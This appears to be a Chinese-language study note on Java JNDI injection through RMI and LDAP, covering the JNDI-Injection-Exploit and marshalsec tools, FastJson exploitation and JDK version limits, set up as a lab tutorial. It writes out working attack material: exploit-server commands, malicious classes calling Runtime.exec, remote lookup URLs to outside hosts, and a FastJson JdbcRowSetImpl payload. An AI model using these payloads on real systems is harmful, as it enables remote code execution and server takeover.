目录
JNDI-Injection & marshalsec 实现原理
Java知识点:
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充
JNDI注入-RMI&LDAP服务
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()lookup():通过名字检索执行的对象
在RMI服务中调用了InitialContext.lookup()的类有:
- org.springframework.transaction.jta.JtaTransactionManager.readObject()
- com.sun.rowset.JdbcRowSetImpl.execute()
- javax.management.remote.rmi.RMIConnector.connect()
- org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
- InitialDirContext.lookup()
- Spring LdapTemplate.lookup()
- LdapTemplate.lookupContext()
JNDI注入
JNDI远程调用-JNDI-Injection
基于工具自主定义(节省下述 2 , 4 步骤)1、使用远程调用(默认端口1389)
调用rmi ldap等服务对象类,远程地址的一个class文件被执行
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、使用利用工具生成调用地址
创建一个rmi ldap等服务调用 实例化
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
使用远程调用(默认端口1389)
package com.example.jndi; import javax.naming.InitialContext; import javax.naming.NamingException; public class JndiDemo { public static void main(String[] args) throws NamingException { new InitialContext().lookup("rmi://47.243.50.47:1099/ptbddl"); new InitialContext().lookup("ldap://47.243.50.47:1389/ptbddl"); } }
下面的代码可以根据RMI,LDAP协议远程调用服务器的类,然后在本地序列化为对象然后调用构造函数进行实例化
使用利用工具生成调用地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx-C后面是命令执行,以及服务器的IP,根据
根据JDK版本以及服务组件和协议生成了5个可供远程调用的地址
遇到问题:可以进行工具发送,但无法访问到指向类进行报错(JDK版本太高)
原因:JDK版本太高,对远程访问进行拦截
解决方式:更换低版本的JDK,即可成功
遇到问题:linux中运行JNDI-Injection,报错Address already in use
原因:之前运行的该程序占用了端口,导致无法运行
遇到问题:JNDI-Injection-Exploit不能进行正常的发送,和接收
原因:防火墙的原因解决方式:关闭虚拟机和本机的防火墙即可访问成功
JNDI远程调用-marshalsec
1 、使用远程调用 ( 默认端口 1389 )new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
2、编译调用对象
javac Test.java
3、使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
4、将生成的Class存放访问路径
创建调用对象,编译调用对象
import java.io.IOException; public class Test { public Test() throws IOException { Runtime.getRuntime().exec("notepad"); } }
特别注意:要保证java和javac的版本一致,且都是1.8的低版本1.8.0_112
将生成的Class存放访问路径,并检查是否可访问到
建一个简单的WEB页面,又不想配置apache或者Nginx,并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务,并且使用起来也非常简单。python -m SimpleHTTPServer
服务启动,默认端口为 8000
服务起来后,
如果是本地或者内网环境打开浏览器 访问
localhost:8000
或者127.0.0.1:8000
使用利用工具生成调用协议(rmi,ldap)
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
- java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi
使用远程调用(默认端口1389)
JNDI-Injection & marshalsec 实现原理
RMI调用
bind:将名称绑定到对象中;
lookup:通过名字检索执行的对象;
Reference类表示对存在于命名/目录系统以外的对象的引用。
Reference参数:
className:远程加载时所使用的类名;
classFactory:加载的class中需要实例化类的名称;
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
Registry首先启动,并监听一个端口,一般是1099:
Registry registry = LocateRegistry.createRegistry(1099);
在这里,createRegistry(1099) 方法启动 RMI 注册表,并监听在端口 1099 上。
Server向Registry注册远程对象:
Reference reference = new Reference("Calc", "Calc", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
服务器创建一个 Reference 对象,包含用于远程加载的类信息,然后将该 Reference 对象包装成 ReferenceWrapper,最后通过 registry.bind 注册到 RMI 注册表中,使用名字 “calc”。
Client从Registry获取远程对象的代理:
Object remoteObject = context.lookup("rmi://47.94.236.117:1099/calc");
客户端获取 RMI 注册表的上下文,并通过 lookup 方法查找名为 “calc” 的远程对象,返回其代理。
Client通过这个代理调用远程对象的方法:
// 可以将返回的 remoteObject 转换为具体的远程接口类型,然后调用远程方法
// 例如:CalcInterface calc = (CalcInterface) remoteObject;
// 远程方法调用示例
// 例如:calc.performCalculation();
客户端通过获得的代理对象调用远程对象的方法。
Server端的代理接收到Client端调用的方法,参数,Server端执行相对应的方法:
在服务器端,RMI 框架接收到客户端调用的方法、参数等信息,并通过相应的远程对象执行对应的方法。
Server端的代理将执行结果返回给Client端代理:
执行结果将通过 RMI 框架返回给客户端的代理对象,使客户端能够获取到远程方法的执行结果。
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;
public class RMIServer {
public static void main(String[] args) throws Exception {
// 创建 RMI 注册表并监听在 1099 端口上
Registry registry = LocateRegistry.createRegistry(1099);
**// 创建一个包含类信息的 Reference 对象
// className: 远程加载时所使用的类名
// classFactory: 加载的类中需要实例化的类的名称
// classFactoryLocation: 远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议
Reference reference = new Reference("Calc", "Calc", "http://localhost/");**
// 使用 Reference 对象创建 ReferenceWrapper 对象
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// 将包装后的 Reference 对象绑定到 RMI 注册表上,使用名字 "calc"
registry.bind("calc", wrapper);
}
}
import java.lang.Runtime;
public class Calc {
public Calc() throws Exception{
Runtime.getRuntime().exec("mstsc");
}
}
LDAP - marshalsec工具
- JDK 17
- 11版本
- 8u362
- 8U112 都可以
RMI marshalsec工具
- JDK 17版本 无法调用
- 11版本无法调用
- 8u362 无法执行
- 8U112 可以
LDAP - jndi-inject工具
- JDK 17版本 无法调用
- 11版本无法调用
- 8u362 无法执行
- 8U112 可以
RMI jndi-inject工具
- JDK 17版本 无法调用
- 11版本无法调用
- 8u362 无法执行
- 8U112 可以
发现 jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap有高版本绕过)
利用要知道其他类也能调用jndi注入(rmi,ldap)
JNDI注入-FastJson漏洞结合
背景:JavaEE 中接受用户提交的 JSON 数据进行转换 (FastJson 反序列化漏洞)
思路:利用 InitialContext.lookup () 中的进行 JdbcRowSetImpl 类 JNDI 服务注入
漏洞利用 FastJson autotype 处理 Json 对象的时候,未对 @type 字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 RMI 主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
报错判断FastJson(黑盒:数据写错,发现返回包是对应的fastjson包)
创建对应的FastJson项目
// 导入必要的包 package com.example.fsjndidome; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; // 定义一个带有 "/json" 映射的 Servlet @WebServlet("/json") public class Fsweb extends HelloServlet { // 重写 doPost 方法以处理 HTTP POST 请求 @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 从名为 "str" 的请求参数中检索 JSON 数据 String jsondata = req.getParameter("str"); // 将接收到的 JSON 数据打印到控制台 System.out.println(jsondata); // 使用 fastjson 解析 JSON 数据为 JSONObject JSONObject jsonObject = JSON.parseObject(jsondata); // 打印解析后的 JSONObject 到控制台 System.out.println(jsonObject); } }
<body> <h1><%= "Hello World!" %> </h1> <br/> <a href="hello-servlet">Hello Servlet</a> **<form action="/FSJNDIDome_war_exploded/json" method="post"> please input json data:<input type="text" name="str"><br> <input type="submit" value="提交">** </form> </body> </html>
生成远程调用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130
提交JSON数据Payload
{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true}
JNDI注入-JDK高版本注入绕过
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。
使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,
因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,
禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
高版本绕过:
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html